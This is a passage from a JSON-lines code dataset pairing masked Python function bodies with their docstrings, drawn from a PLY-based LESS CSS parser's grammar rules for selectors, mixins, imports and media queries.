ErrorRegister()<EOL><DEDENT>else:<EOL><INDENT>self.register = PrintErrorRegister()<EOL><DEDENT>", "docstring": "Parser object\n\n            Kwargs:\n                lex_optimize (bool): Optimize lexer\n                yacc_optimize (bool): Optimize parser\n                tabfile (str): Yacc tab filename\n                yacc_debug (bool): yacc debug mode\n                scope (Scope): Inherited scope\n                outputdir (str): Output (debugging)\n                importlvl (int): Import depth\n                verbose (bool): Verbose mode\n                fail_with_exc (bool): Throw exception on syntax error instead\n                                      of printing to stderr", "id": "f12427:c2:m0"}
{"signature": "def parse(self, filename=None, file=None, debuglevel=<NUM_LIT:0>):", "body": "self.scope.push()<EOL>if not file:<EOL><INDENT>file = filename<EOL><DEDENT>else:<EOL><INDENT>if hasattr(file, '<STR_LIT:name>'):<EOL><INDENT>if filename is not None:<EOL><INDENT>raise AssertionError(<EOL>'<STR_LIT>')<EOL><DEDENT>filename = file.name<EOL><DEDENT>else:<EOL><INDENT>filename = '<STR_LIT>'<EOL><DEDENT><DEDENT>self.target = filename<EOL>if self.verbose and not self.fail_with_exc:<EOL><INDENT>print('<STR_LIT>' % filename, file=sys.stderr)<EOL><DEDENT>self.result = self.parser.parse(file, lexer=self.lex, debug=debuglevel)<EOL>self.post_parse()<EOL>self.register.close()<EOL>", "docstring": "Parse file.\n        kwargs:\n            filename (str): File to parse\n            debuglevel (int): Parser debuglevel", "id": "f12427:c2:m1"}
{"signature": "def post_parse(self):", "body": "if self.result:<EOL><INDENT>out = []<EOL>for pu in self.result:<EOL><INDENT>try:<EOL><INDENT>out.append(pu.parse(self.scope))<EOL><DEDENT>except SyntaxError as e:<EOL><INDENT>self.handle_error(e, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>self.result = list(utility.flatten(out))<EOL><DEDENT>", "docstring": "Post parse cycle. nodejs version allows calls to mixins\n        not yet defined or known to the parser. We defer all calls\n        to mixins until after first cycle when all names are known.", "id": "f12427:c2:m2"}
{"signature": "def scopemap(self):", "body": "utility.debug_print(self.result)<EOL>", "docstring": "Output scopemap.", "id": "f12427:c2:m3"}
{"signature": "def p_tunit(self, p):", "body": "p[<NUM_LIT:0>] = [u for u in p[<NUM_LIT:1>] if u]<EOL>", "docstring": "tunit                    : unit_list", "id": "f12427:c2:m4"}
{"signature": "def p_unit_list(self, p):", "body": "if isinstance(p[<NUM_LIT:1>], list):<EOL><INDENT>if len(p) >= <NUM_LIT:3>:<EOL><INDENT>if isinstance(p[<NUM_LIT:2>], list):<EOL><INDENT>p[<NUM_LIT:1>].extend(p[<NUM_LIT:2>])<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:1>].append(p[<NUM_LIT:2>])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:1>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "unit_list                : unit_list unit\n                                     | unit", "id": "f12427:c2:m5"}
{"signature": "def p_unit(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "unit                     : statement\n                                     | variable_decl\n                                     | block_decl\n                                     | mixin_decl\n                                     | call_mixin\n                                     | import_statement", "id": "f12427:c2:m6"}
{"signature": "def p_statement_aux(self, p):", "body": "p[<NUM_LIT:0>] = Statement(list(p)[<NUM_LIT:1>:], p.lineno(<NUM_LIT:1>))<EOL>p[<NUM_LIT:0>].parse(None)<EOL>", "docstring": "statement            : css_charset t_ws css_string t_semicolon\n                                 | css_namespace t_ws css_string t_semicolon", "id": "f12427:c2:m7"}
{"signature": "def p_statement_namespace(self, p):", "body": "p[<NUM_LIT:0>] = Statement(list(p)[<NUM_LIT:1>:], p.lineno(<NUM_LIT:1>))<EOL>p[<NUM_LIT:0>].parse(None)<EOL>", "docstring": "statement            : css_namespace t_ws word css_string t_semicolon", "id": "f12427:c2:m8"}
{"signature": "def p_statement_import(self, p):", "body": "<EOL>if self.importlvl > <NUM_LIT:8>:<EOL><INDENT>raise ImportError(<EOL>'<STR_LIT>')<EOL><DEDENT>if isinstance(p[<NUM_LIT:3>], string_types):<EOL><INDENT>ipath = utility.destring(p[<NUM_LIT:3>])<EOL><DEDENT>elif isinstance(p[<NUM_LIT:3>], list):<EOL><INDENT>p[<NUM_LIT:3>] = Import(p[<NUM_LIT:3>], p.lineno(<NUM_LIT:4>)).parse(self.scope)<EOL>ipath = utility.destring(p[<NUM_LIT:3>])<EOL><DEDENT>elif isinstance(p[<NUM_LIT:3>], Call):<EOL><INDENT>p[<NUM_LIT:3>] = p[<NUM_LIT:3>].parse(<EOL>self.scope)  <EOL>ipath = utility.destring(p[<NUM_LIT:3>][<NUM_LIT:4>:-<NUM_LIT:1>])<EOL><DEDENT>fn, fe = os.path.splitext(ipath)<EOL>if not fe or fe.lower() == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>cpath = os.path.dirname(os.path.abspath(self.target))<EOL>if not fe:<EOL><INDENT>ipath += '<STR_LIT>'<EOL><DEDENT>filename = \"<STR_LIT>\" % (cpath, os.sep, ipath)<EOL>if os.path.exists(filename):<EOL><INDENT>recurse = LessParser(<EOL>importlvl=self.importlvl + <NUM_LIT:1>,<EOL>verbose=self.verbose,<EOL>scope=self.scope)<EOL>recurse.parse(filename=filename, debuglevel=<NUM_LIT:0>)<EOL>p[<NUM_LIT:0>] = recurse.result<EOL><DEDENT>else:<EOL><INDENT>err = \"<STR_LIT>\" % filename<EOL>self.handle_error(err, p.lineno(<NUM_LIT:1>), '<STR_LIT>')<EOL>p[<NUM_LIT:0>] = None<EOL><DEDENT><DEDENT>except ImportError as e:<EOL><INDENT>self.handle_error(e, p)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = Statement(list(p)[<NUM_LIT:1>:], p.lineno(<NUM_LIT:1>))<EOL>p[<NUM_LIT:0>].parse(None)<EOL><DEDENT>sys.stdout.flush()<EOL>", "docstring": "import_statement     : css_import t_ws string t_semicolon\n                                 | css_import t_ws css_string t_semicolon\n                                 | css_import t_ws css_string media_query_list t_semicolon\n                                 | css_import t_ws fcall t_semicolon\n                                 | css_import t_ws fcall media_query_list t_semicolon", "id": "f12427:c2:m9"}
{"signature": "def p_block(self, p):", "body": "p[<NUM_LIT:0>] = Block(list(p)[<NUM_LIT:1>:-<NUM_LIT:1>], p.lineno(<NUM_LIT:3>))<EOL>self.scope.pop()<EOL>self.scope.add_block(p[<NUM_LIT:0>])<EOL>", "docstring": "block_decl               : block_open declaration_list brace_close", "id": "f12427:c2:m10"}
{"signature": "def p_block_replace(self, p):", "body": "m = p[<NUM_LIT:1>].parse(None)<EOL>block = self.scope.blocks(m.raw())<EOL>if block:<EOL><INDENT>p[<NUM_LIT:0>] = block.copy_inner(self.scope)<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = Deferred(p[<NUM_LIT:1>], None, p.lineno(<NUM_LIT:2>))<EOL><DEDENT>", "docstring": "block_decl               : identifier t_semicolon", "id": "f12427:c2:m11"}
{"signature": "def p_block_open(self, p):", "body": "try:<EOL><INDENT>p[<NUM_LIT:1>].parse(self.scope)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>pass<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>self.scope.current = p[<NUM_LIT:1>]<EOL>", "docstring": "block_open                : identifier brace_open", "id": "f12427:c2:m12"}
{"signature": "def p_block_open_media_query(self, p):", "body": "p[<NUM_LIT:0>] = Identifier(p[<NUM_LIT:1>]).parse(self.scope)<EOL>", "docstring": "block_open                : media_query_decl brace_open", "id": "f12427:c2:m13"}
{"signature": "def p_font_face_open(self, p):", "body": "p[<NUM_LIT:0>] = Identifier([p[<NUM_LIT:1>], p[<NUM_LIT:2>]]).parse(self.scope)<EOL>", "docstring": "block_open                : css_font_face t_ws brace_open", "id": "f12427:c2:m14"}
{"signature": "def p_keyframe_open(self, p):", "body": "p[<NUM_LIT:0>] = KeyframeSelector([p[<NUM_LIT:1>]]).parse(self.scope)<EOL>", "docstring": "block_open                 : css_keyframe_selector brace_open\n                                      | number brace_open", "id": "f12427:c2:m15"}
{"signature": "def p_mixin(self, p):", "body": "self.scope.add_mixin(Mixin(list(p)[<NUM_LIT:1>:], p.lineno(<NUM_LIT:3>)).parse(self.scope))<EOL>self.scope.pop()<EOL>p[<NUM_LIT:0>] = None<EOL>", "docstring": "mixin_decl                : open_mixin declaration_list brace_close", "id": "f12427:c2:m16"}
{"signature": "def p_open_mixin(self, p):", "body": "p[<NUM_LIT:1>].parse(self.scope)<EOL>self.scope.current = p[<NUM_LIT:1>]<EOL>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>], p[<NUM_LIT:3>]]<EOL>if len(p) > <NUM_LIT:6>:<EOL><INDENT>p[<NUM_LIT:0>].append(p[<NUM_LIT:5>])<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>].append(None)<EOL><DEDENT>", "docstring": "open_mixin                : identifier t_popen mixin_args_list t_pclose brace_open\n                                      | identifier t_popen mixin_args_list t_pclose mixin_guard brace_open", "id": "f12427:c2:m17"}
{"signature": "def p_mixin_guard(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "mixin_guard               : less_when mixin_guard_cond_list", "id": "f12427:c2:m18"}
{"signature": "def p_mixin_guard_cond_list_aux(self, p):", "body": "p[<NUM_LIT:1>].append(p[<NUM_LIT:2>])<EOL>p[<NUM_LIT:1>].append(p[<NUM_LIT:3>])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "mixin_guard_cond_list    : mixin_guard_cond_list t_comma mixin_guard_cond\n                                     | mixin_guard_cond_list less_and mixin_guard_cond", "id": "f12427:c2:m19"}
{"signature": "def p_mixin_guard_cond_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "mixin_guard_cond_list     : mixin_guard_cond", "id": "f12427:c2:m20"}
{"signature": "def p_mixin_guard_cond_rev(self, p):", "body": "p[<NUM_LIT:0>] = utility.reverse_guard(list(p)[<NUM_LIT:3>:-<NUM_LIT:1>])<EOL>", "docstring": "mixin_guard_cond          : less_not t_popen argument mixin_guard_cmp argument t_pclose\n                                      | less_not t_popen argument t_pclose", "id": "f12427:c2:m21"}
{"signature": "def p_mixin_guard_cond(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:2>:-<NUM_LIT:1>]<EOL>", "docstring": "mixin_guard_cond          : t_popen argument mixin_guard_cmp argument t_pclose\n                                      | t_popen argument t_pclose", "id": "f12427:c2:m22"}
{"signature": "def p_mixin_guard_cmp(self, p):", "body": "p[<NUM_LIT:0>] = '<STR_LIT>'.join(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "mixin_guard_cmp           : '>'\n                                      | '<'\n                                      | '='\n                                      | '>' '='\n                                      | '=' '<'", "id": "f12427:c2:m23"}
{"signature": "def p_call_mixin(self, p):", "body": "p[<NUM_LIT:1>].parse(None)<EOL>p[<NUM_LIT:0>] = Deferred(p[<NUM_LIT:1>], p[<NUM_LIT:3>], p.lineno(<NUM_LIT:4>))<EOL>", "docstring": "call_mixin                : identifier t_popen mixin_args_list t_pclose t_semicolon", "id": "f12427:c2:m24"}
{"signature": "def p_mixin_args_arguments(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "mixin_args_list          : less_arguments", "id": "f12427:c2:m25"}
{"signature": "def p_mixin_args_list_aux(self, p):", "body": "p[<NUM_LIT:1>].extend([p[<NUM_LIT:3>]])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "mixin_args_list          : mixin_args_list t_comma mixin_args\n                                     | mixin_args_list t_semicolon mixin_args", "id": "f12427:c2:m26"}
{"signature": "def p_mixin_args_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "mixin_args_list          : mixin_args", "id": "f12427:c2:m27"}
{"signature": "def p_mixin_args_aux(self, p):", "body": "p[<NUM_LIT:1>].extend(list(p)[<NUM_LIT:2>:])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "mixin_args                : mixin_args argument", "id": "f12427:c2:m28"}
{"signature": "def p_mixin_args(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "mixin_args                : argument\n                                      | mixin_kwarg", "id": "f12427:c2:m29"}
{"signature": "def p_mixin_args_empty(self, p):", "body": "p[<NUM_LIT:0>] = None<EOL>", "docstring": "mixin_args                : empty", "id": "f12427:c2:m30"}
{"signature": "def p_mixin_kwarg(self, p):", "body": "p[<NUM_LIT:0>] = Variable(list(p)[<NUM_LIT:1>:], p.lineno(<NUM_LIT:2>))<EOL>", "docstring": "mixin_kwarg                : variable t_colon mixin_kwarg_arg_list", "id": "f12427:c2:m31"}
{"signature": "def p_margument_list_aux(self, p):", "body": "p[<NUM_LIT:1>].extend(list(p)[<NUM_LIT:2>:])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "mixin_kwarg_arg_list       : mixin_kwarg_arg_list argument", "id": "f12427:c2:m32"}
{"signature": "def p_margument_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "mixin_kwarg_arg_list      : argument", "id": "f12427:c2:m33"}
{"signature": "def p_declaration_list(self, p):", "body": "if len(p) > <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:1>].extend(p[<NUM_LIT:2>])<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "declaration_list           : declaration_list declaration\n                                       | declaration\n                                       | empty", "id": "f12427:c2:m34"}
{"signature": "def p_declaration(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] if isinstance(p[<NUM_LIT:1>], list) else [p[<NUM_LIT:1>]]<EOL>", "docstring": "declaration                : variable_decl\n                                       | property_decl\n                                       | block_decl\n                                       | mixin_decl\n                                       | call_mixin\n                                       | import_statement", "id": "f12427:c2:m35"}
{"signature": "def p_variable_decl(self, p):", "body": "p[<NUM_LIT:0>] = Variable(list(p)[<NUM_LIT:1>:-<NUM_LIT:1>], p.lineno(<NUM_LIT:4>))<EOL>p[<NUM_LIT:0>].parse(self.scope)<EOL>", "docstring": "variable_decl            : variable t_colon style_list t_semicolon", "id": "f12427:c2:m36"}
{"signature": "def p_property_decl(self, p):", "body": "l = len(p)<EOL>p[<NUM_LIT:0>] = Property(list(p)[<NUM_LIT:1>:-<NUM_LIT:1>], p.lineno(l - <NUM_LIT:1>))<EOL>", "docstring": "property_decl           : prop_open style_list t_semicolon\n                                    | prop_open style_list css_important t_semicolon\n                                    | prop_open empty t_semicolon", "id": "f12427:c2:m37"}
{"signature": "def p_property_decl_arguments(self, p):", "body": "p[<NUM_LIT:0>] = Property([p[<NUM_LIT:1>], [p[<NUM_LIT:2>]]], p.lineno(<NUM_LIT:3>))<EOL>", "docstring": "property_decl           : prop_open less_arguments t_semicolon", "id": "f12427:c2:m38"}
{"signature": "def p_prop_open_ie_hack(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>][<NUM_LIT:0>], p[<NUM_LIT:2>][<NUM_LIT:0>])<EOL>", "docstring": "prop_open               : '*' prop_open", "id": "f12427:c2:m39"}
{"signature": "def p_prop_open(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>][<NUM_LIT:0>], '<STR_LIT>')<EOL>", "docstring": "prop_open               : property t_colon\n                                    | vendor_property t_colon\n                                    | word t_colon", "id": "f12427:c2:m40"}
{"signature": "def p_style_list_aux(self, p):", "body": "p[<NUM_LIT:1>].extend(list(p)[<NUM_LIT:2>:])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "style_list              : style_list style\n                                    | style_list t_comma style\n                                    | style_list t_ws style", "id": "f12427:c2:m41"}
{"signature": "def p_style_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "style_list              : style", "id": "f12427:c2:m42"}
{"signature": "def p_style(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "style                   : expression\n                                    | string\n                                    | word\n                                    | property\n                                    | vendor_property\n                                    | estring", "id": "f12427:c2:m43"}
{"signature": "def p_identifier(self, p):", "body": "p[<NUM_LIT:0>] = Identifier(p[<NUM_LIT:1>], <NUM_LIT:0>)<EOL>", "docstring": "identifier                : identifier_list\n                                      | page\n                                      | page filter", "id": "f12427:c2:m44"}
{"signature": "def p_identifier_istr(self, p):", "body": "p[<NUM_LIT:0>] = Identifier(Call([p[<NUM_LIT:2>], p[<NUM_LIT:3>]]), <NUM_LIT:0>)<EOL>", "docstring": "identifier                : t_popen estring t_pclose", "id": "f12427:c2:m45"}
{"signature": "def p_identifier_list_aux(self, p):", "body": "p[<NUM_LIT:1>].extend([p[<NUM_LIT:2>]])<EOL>p[<NUM_LIT:1>].extend(p[<NUM_LIT:3>])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "identifier_list           : identifier_list t_comma identifier_group", "id": "f12427:c2:m46"}
{"signature": "def p_identifier_list(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "identifier_list           : identifier_group", "id": "f12427:c2:m47"}
{"signature": "def p_identifier_list_keyframe(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "identifier_list           : css_keyframes t_ws css_ident\n                                      | css_keyframes t_ws css_ident t_ws", "id": "f12427:c2:m48"}
{"signature": "def p_identifier_list_viewport(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "identifier_list           : css_viewport\n                                      | css_viewport t_ws", "id": "f12427:c2:m49"}
{"signature": "def p_identifier_group_op(self, p):", "body": "p[<NUM_LIT:1>].extend([p[<NUM_LIT:2>]])<EOL>if len(p) > <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:1>].extend(p[<NUM_LIT:3>])<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "identifier_group          : identifier_group child_selector ident_parts\n                                      | identifier_group '+' ident_parts\n                                      | identifier_group general_sibling_selector ident_parts\n                                      | identifier_group '*'", "id": "f12427:c2:m50"}
{"signature": "def p_identifier_group(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "identifier_group          : ident_parts", "id": "f12427:c2:m51"}
{"signature": "def p_ident_parts_aux(self, p):", "body": "if isinstance(p[<NUM_LIT:2>], list):<EOL><INDENT>p[<NUM_LIT:1>].extend(p[<NUM_LIT:2>])<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:1>].append(p[<NUM_LIT:2>])<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "ident_parts               : ident_parts ident_part\n                                      | ident_parts filter_group", "id": "f12427:c2:m52"}
{"signature": "def p_ident_parts(self, p):", "body": "if not isinstance(p[<NUM_LIT:1>], list):<EOL><INDENT>p[<NUM_LIT:1>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "ident_parts               : ident_part\n                                      | selector\n                                      | filter_group", "id": "f12427:c2:m53"}
{"signature": "def p_media_query_decl(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "media_query_decl            : css_media t_ws\n                                        | css_media t_ws media_query_list", "id": "f12427:c2:m54"}
{"signature": "def p_media_query_list_aux(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "media_query_list            : media_query_list t_comma media_query", "id": "f12427:c2:m55"}
{"signature": "def p_media_query_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "media_query_list            : media_query", "id": "f12427:c2:m56"}
{"signature": "def p_media_query_a(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "media_query                 : media_type\n                                        | media_type media_query_expression_list\n                                        | not media_type\n                                        | not media_type media_query_expression_list\n                                        | only media_type\n                                        | only media_type media_query_expression_list", "id": "f12427:c2:m57"}
{"signature": "def p_media_query_b(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "media_query                 : media_query_expression media_query_expression_list\n                                        | media_query_expression", "id": "f12427:c2:m58"}
{"signature": "def p_media_query_expression_list_aux(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "media_query_expression_list : media_query_expression_list and media_query_expression\n                                        | and media_query_expression", "id": "f12427:c2:m59"}
{"signature": "def p_media_query_expression(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "media_query_expression      : t_popen css_media_feature t_pclose\n                                        | t_popen css_media_feature t_colon media_query_value t_pclose", "id": "f12427:c2:m60"}
{"signature": "def p_media_query_value(self, p):", "body": "if utility.is_variable(p[<NUM_LIT:1>]):<EOL><INDENT>var = self.scope.variables('<STR_LIT>'.join(p[<NUM_LIT:1>]))<EOL>if var:<EOL><INDENT>value = var.value[<NUM_LIT:0>]<EOL>if hasattr(value, '<STR_LIT>'):<EOL><INDENT>p[<NUM_LIT:1>] = value.parse(self.scope)<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:1>] = value<EOL><DEDENT><DEDENT><DEDENT>if isinstance(p[<NUM_LIT:1>], Expression):<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>].parse(self.scope)<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "media_query_value           : number\n                                        | variable\n                                        | word\n                                        | color\n                                        | expression", "id": "f12427:c2:m61"}
{"signature": "def p_selector(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "selector                  : '*'\n                                      | '+'\n                                      | child_selector\n                                      | general_sibling_selector", "id": "f12427:c2:m62"}
{"signature": "def p_ident_part(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "ident_part                : iclass\n                                      | id\n                                      | dom\n                                      | combinator\n                                      | color", "id": "f12427:c2:m63"}
{"signature": "def p_ident_part_aux(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>], p[<NUM_LIT:2>]]<EOL>", "docstring": "ident_part                : combinator vendor_property", "id": "f12427:c2:m64"}
{"signature": "def p_filter_group_aux(self, p):", "body": "p[<NUM_LIT:1>].extend(p[<NUM_LIT:2>])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "filter_group              : filter_group filter", "id": "f12427:c2:m65"}
{"signature": "def p_filter_group(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "filter_group              : filter", "id": "f12427:c2:m66"}
{"signature": "def p_filter(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "filter                    : css_filter\n                                      | css_filter t_ws\n                                      | t_colon word\n                                      | t_colon vendor_property\n                                      | t_colon vendor_property t_ws\n                                      | t_colon css_property\n                                      | t_colon css_property t_ws\n                                      | t_colon css_filter\n                                      | t_colon css_filter t_ws\n                                      | t_colon t_colon word\n                                      | t_colon t_colon vendor_property", "id": "f12427:c2:m67"}
{"signature": "def p_ms_filter(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "ms_filter       : css_ms_filter\n                            | css_ms_filter t_ws", "id": "f12427:c2:m68"}
{"signature": "def p_fcall(self, p):", "body": "p[<NUM_LIT:0>] = Call(list(p)[<NUM_LIT:1>:], <NUM_LIT:0>)<EOL>", "docstring": "fcall           : word t_popen argument_list t_pclose\n                            | property t_popen argument_list t_pclose\n                            | vendor_property t_popen argument_list t_pclose\n                            | less_open_format argument_list t_pclose\n                            | ms_filter t_popen argument_list t_pclose", "id": "f12427:c2:m69"}
{"signature": "def p_argument_list_empty(self, p):", "body": "p[<NUM_LIT:0>] = '<STR_LIT>'<EOL>", "docstring": "argument_list       : empty", "id": "f12427:c2:m70"}
{"signature": "def p_argument_list_aux(self, p):", "body": "p[<NUM_LIT:1>].extend(list(p)[<NUM_LIT:2>:])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "argument_list       : argument_list argument\n                                | argument_list t_comma argument", "id": "f12427:c2:m71"}
{"signature": "def p_argument_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "argument_list       : argument", "id": "f12427:c2:m72"}
{"signature": "def p_argument(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "argument        : expression\n                            | string\n                            | estring\n                            | word\n                            | id\n                            | css_uri\n                            | '='\n                            | fcall", "id": "f12427:c2:m73"}
{"signature": "def p_expression_aux(self, p):", "body": "p[<NUM_LIT:0>] = Expression(list(p)[<NUM_LIT:1>:], <NUM_LIT:0>)<EOL>", "docstring": "expression             : expression '+' expression\n                                   | expression '-' expression\n                                   | expression '/' expression\n                                   | expression '*' expression\n                                   | word '/' expression", "id": "f12427:c2:m74"}
{"signature": "def p_expression_p_neg(self, p):", "body": "p[<NUM_LIT:0>] = NegatedExpression([p[<NUM_LIT:3>]], <NUM_LIT:0>)<EOL>", "docstring": "expression             : '-' t_popen expression t_pclose", "id": "f12427:c2:m75"}
{"signature": "def p_expression_p(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "expression             : t_popen expression t_pclose", "id": "f12427:c2:m76"}
{"signature": "def p_expression(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "expression              : factor", "id": "f12427:c2:m77"}
{"signature": "def p_factor(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "factor                  : color\n                                    | number\n                                    | variable\n                                    | css_dom\n                                    | fcall", "id": "f12427:c2:m78"}
{"signature": "def p_escaped_string(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "estring                 : t_eopen style_list t_eclose\n                                    | t_eopen identifier_list t_eclose", "id": "f12427:c2:m79"}
{"signature": "def p_string_part(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "string_part             : variable\n                                    | css_string", "id": "f12427:c2:m80"}
{"signature": "def p_string_part_list_aux(self, p):", "body": "p[<NUM_LIT:1>].extend([p[<NUM_LIT:2>]])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "string_part_list        : string_part_list string_part", "id": "f12427:c2:m81"}
{"signature": "def p_string_part_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "string_part_list        : string_part", "id": "f12427:c2:m82"}
{"signature": "def p_string_aux(self, p):", "body": "p[<NUM_LIT:0>] = ['<STR_LIT:\">', p[<NUM_LIT:2>], '<STR_LIT:\">']<EOL>", "docstring": "string                  : t_isopen string_part_list t_isclose", "id": "f12427:c2:m83"}
{"signature": "def p_string(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "string                  : css_string", "id": "f12427:c2:m84"}
{"signature": "def p_variable_neg(self, p):", "body": "p[<NUM_LIT:0>] = ['<STR_LIT:->', p[<NUM_LIT:2>]]<EOL>", "docstring": "variable                : '-' variable", "id": "f12427:c2:m85"}
{"signature": "def p_variable_strange(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "variable                : t_popen variable t_pclose", "id": "f12427:c2:m86"}
{"signature": "def p_variable(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "variable                : less_variable\n                                    | less_variable t_ws", "id": "f12427:c2:m87"}
{"signature": "def p_color(self, p):", "body": "try:<EOL><INDENT>p[<NUM_LIT:0>] = Color().fmt(p[<NUM_LIT:1>])<EOL>if len(p) > <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:0>], p[<NUM_LIT:2>]]<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>self.handle_error('<STR_LIT>' % p[<NUM_LIT:1>], p.lineno(<NUM_LIT:1>),<EOL>'<STR_LIT>')<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "color                   : css_color\n                                    | css_color t_ws", "id": "f12427:c2:m88"}
{"signature": "def p_number(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "number                    : css_number\n                                      | css_number t_ws", "id": "f12427:c2:m89"}
{"signature": "def p_dom(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "dom                       : css_dom\n                                      | css_dom t_ws", "id": "f12427:c2:m90"}
